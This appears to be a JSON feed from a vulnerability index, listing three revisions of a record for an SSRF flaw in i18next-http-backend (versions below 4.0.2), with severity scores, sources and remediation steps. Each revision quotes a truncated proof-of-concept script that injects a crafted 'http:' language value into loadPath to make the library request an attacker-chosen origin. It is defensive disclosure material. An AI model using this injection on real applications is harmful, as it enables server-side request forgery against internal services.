{"items":[{"id":"NVI-00011782","kind":"vulnerability","title":"i18next-http-backend incomplete URL validation permits SSRF","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xvq9-wjp8-hwqf","CVE-2026-105800"],"plain_summary":"GitHub lists this reviewed advisory for i18next-http-backend. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2c0a6747c9a5bc2bc2c167216927d93b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.0.2 for i18next-http-backend. Confirm the publisher’s latest guidance.","source_ids":["sr-ba04e69881723d2ca355a09e9ae6ff24"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-06T15:33:34.000Z","value":"3.7 low","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-29f4140460f915ebb0fc72edddcf3b60"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.289%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.21504. Missing scores are unknown.","source_id":"sr-2c0a6747c9a5bc2bc2c167216927d93b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-29f4140460f915ebb0fc72edddcf3b60","url":"https://github.com/advisories/GHSA-xvq9-wjp8-hwqf","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-xvq9-wjp8-hwqf","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:59:16.959Z"},{"id":"sr-ba04e69881723d2ca355a09e9ae6ff24","url":"https://github.com/advisories/GHSA-xvq9-wjp8-hwqf","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-xvq9-wjp8-hwqf","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-11-03T22:35:16.099Z"},{"id":"sr-2c0a6747c9a5bc2bc2c167216927d93b","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-105800","publisher":"FIRST EPSS","observed_at":"2026-11-01T01:39:43.064Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-29f4140460f915ebb0fc72edddcf3b60"],"technology":"i18next-http-backend","known_exclusions":[],"conditions_summary":"There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) => {\n    backend.read(lng, ns, (err) => resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) => {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest && !err;\n  console","public_affected_ranges":["< 4.0.2"]},{"certainty":"source_listed","source_ids":["sr-ba04e69881723d2ca355a09e9ae6ff24"],"technology":"i18next-http-backend","known_exclusions":[],"conditions_summary":"There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) => {\n    backend.read(lng, ns, (err) => resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) => {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest && !err;\n  console","public_affected_ranges":["SEMVER: introduced 0; fixed 4.0.2"]}],"null_published_at":"2026-11-03T22:39:43.354Z","source_updated_at":"2026-10-06T15:33:34.000Z","source_disclosed_at":"2026-10-06T15:33:33.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-01T00:59:16.959Z"},{"id":"NVI-00011782","kind":"vulnerability","title":"i18next-http-backend incomplete URL validation permits SSRF","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xvq9-wjp8-hwqf","CVE-2026-105800"],"plain_summary":"GitHub lists this reviewed advisory for i18next-http-backend. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2c0a6747c9a5bc2bc2c167216927d93b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-06T15:33:34.000Z","value":"3.7 low","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-29f4140460f915ebb0fc72edddcf3b60"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.289%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.21504. Missing scores are unknown.","source_id":"sr-2c0a6747c9a5bc2bc2c167216927d93b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-29f4140460f915ebb0fc72edddcf3b60","url":"https://github.com/advisories/GHSA-xvq9-wjp8-hwqf","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-xvq9-wjp8-hwqf","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:59:16.959Z"},{"id":"sr-2c0a6747c9a5bc2bc2c167216927d93b","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-105800","publisher":"FIRST EPSS","observed_at":"2026-11-01T01:39:43.064Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-29f4140460f915ebb0fc72edddcf3b60"],"technology":"i18next-http-backend","known_exclusions":[],"conditions_summary":"There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) => {\n    backend.read(lng, ns, (err) => resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) => {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest && !err;\n  console","public_affected_ranges":["< 4.0.2"]}],"null_published_at":"2026-11-01T14:34:14.106Z","source_updated_at":"2026-10-06T15:33:34.000Z","source_disclosed_at":"2026-10-06T15:33:33.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-11-01T00:59:16.959Z"},{"id":"NVI-00011782","kind":"vulnerability","title":"i18next-http-backend incomplete URL validation permits SSRF","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xvq9-wjp8-hwqf","CVE-2026-105800"],"plain_summary":"GitHub lists this reviewed advisory for i18next-http-backend. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-29f4140460f915ebb0fc72edddcf3b60"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-06T15:33:34.000Z","value":"3.7 low","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-29f4140460f915ebb0fc72edddcf3b60"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-29f4140460f915ebb0fc72edddcf3b60","url":"https://github.com/advisories/GHSA-xvq9-wjp8-hwqf","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-xvq9-wjp8-hwqf","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T00:59:16.959Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-29f4140460f915ebb0fc72edddcf3b60"],"technology":"i18next-http-backend","known_exclusions":[],"conditions_summary":"There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) => {\n    backend.read(lng, ns, (err) => resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) => {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest && !err;\n  console","public_affected_ranges":["< 4.0.2"]}],"null_published_at":"2026-11-01T01:03:56.604Z","source_updated_at":"2026-10-06T15:33:34.000Z","source_disclosed_at":"2026-10-06T15:33:33.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T00:59:16.959Z"}],"next_cursor":null,"snapshot_revision":"42594"}